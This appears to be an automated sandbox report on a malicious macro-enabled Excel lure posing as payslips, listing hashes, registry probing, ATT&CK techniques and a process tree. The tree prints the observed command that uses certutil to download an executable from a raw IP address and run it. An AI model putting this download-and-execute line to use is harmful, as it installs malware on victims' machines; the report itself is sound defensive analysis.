ce4298647b014560cc454b87587301f11ffe7478170e7de2af59705ddf87ecc6

General

Target

Payslips - Week Ending 19 October 2022.xlsm
Size

42KB
MD5

4cdbf369aea35107af766f0c4a928dc2
SHA1

657b4e5c370ace1326b311d251d77bb3dec8a64b
SHA256

ce4298647b014560cc454b87587301f11ffe7478170e7de2af59705ddf87ecc6
SHA512

54407c6c226d4eba55a0afea35456224a1a9da8742c668810f0e29b112e4364ca7bff1df22257fcf21a9820a1e6e19104cf330c92e5fa5183c26340a8490c912
SSDEEP

768:gvDsavqssnHOBIJYfTH+niSpyvDHrdv+nWxFFiKk/f+qtmUEURC+nQHwSrH:gvLvqTHOG1BaTrdv+KFFi3/Gq09UHQHH

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5000	5020	cmd.exe	80

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1140	Zhnyoizqxyxvv.exe.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5020	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE
5020	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 5000	5020	EXCEL.EXE	87
PID 5020 wrote to memory of 5000	5020	EXCEL.EXE	87
PID 5000 wrote to memory of 4076	5000	cmd.exe	89
PID 5000 wrote to memory of 4076	5000	cmd.exe	89
PID 5000 wrote to memory of 1140	5000	cmd.exe	93
PID 5000 wrote to memory of 1140	5000	cmd.exe	93
PID 5000 wrote to memory of 1140	5000	cmd.exe	93

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payslips - Week Ending 19 October 2022.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe && Zhnyoizqxyxvv.exe.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\certutil.exe
    certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe
    3⤵
    PID:4076
- - C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe
    Zhnyoizqxyxvv.exe.exe
    3⤵
    - Executes dropped EXE
    PID:1140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe

Filesize
881KB

MD5
4b28d8e218f5dfe20541b32fca297074

SHA1
a5b715011f2bd3229e3acf3d88131a61043eba1a

SHA256
ecd2c1eb9e0c374746d9148a15db8deb551d46d3c45bd075e7928b1f3210f4bc

SHA512
04fac1bf2cb45ea967ddf9e5cf34fc1582b094fd0d0423ba6f56e889fb9e58b6b85f848201855446f540de19b8665fef1bc5d5f07face17955682cbcad4707ac

Download Submit
C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe

Filesize
881KB

MD5
4b28d8e218f5dfe20541b32fca297074

SHA1
a5b715011f2bd3229e3acf3d88131a61043eba1a

SHA256
ecd2c1eb9e0c374746d9148a15db8deb551d46d3c45bd075e7928b1f3210f4bc

SHA512
04fac1bf2cb45ea967ddf9e5cf34fc1582b094fd0d0423ba6f56e889fb9e58b6b85f848201855446f540de19b8665fef1bc5d5f07face17955682cbcad4707ac

Download Submit
memory/1140-152-0x00000000050B0000-0x00000000050BA000-memory.dmp

Filesize
40KB

Download
memory/1140-146-0x0000000004FE0000-0x0000000005072000-memory.dmp

Filesize
584KB

Download
memory/1140-145-0x0000000005690000-0x0000000005C34000-memory.dmp

Filesize
5.6MB

Download
memory/1140-144-0x0000000000580000-0x0000000000662000-memory.dmp

Filesize
904KB

Download
memory/5020-137-0x00007FFC6E780000-0x00007FFC6E790000-memory.dmp

Filesize
64KB

Download
memory/5020-138-0x00007FFC6E780000-0x00007FFC6E790000-memory.dmp

Filesize
64KB

Download
memory/5020-132-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-136-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-135-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-133-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-148-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-149-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-150-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-151-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download
memory/5020-134-0x00007FFC70A50000-0x00007FFC70A60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads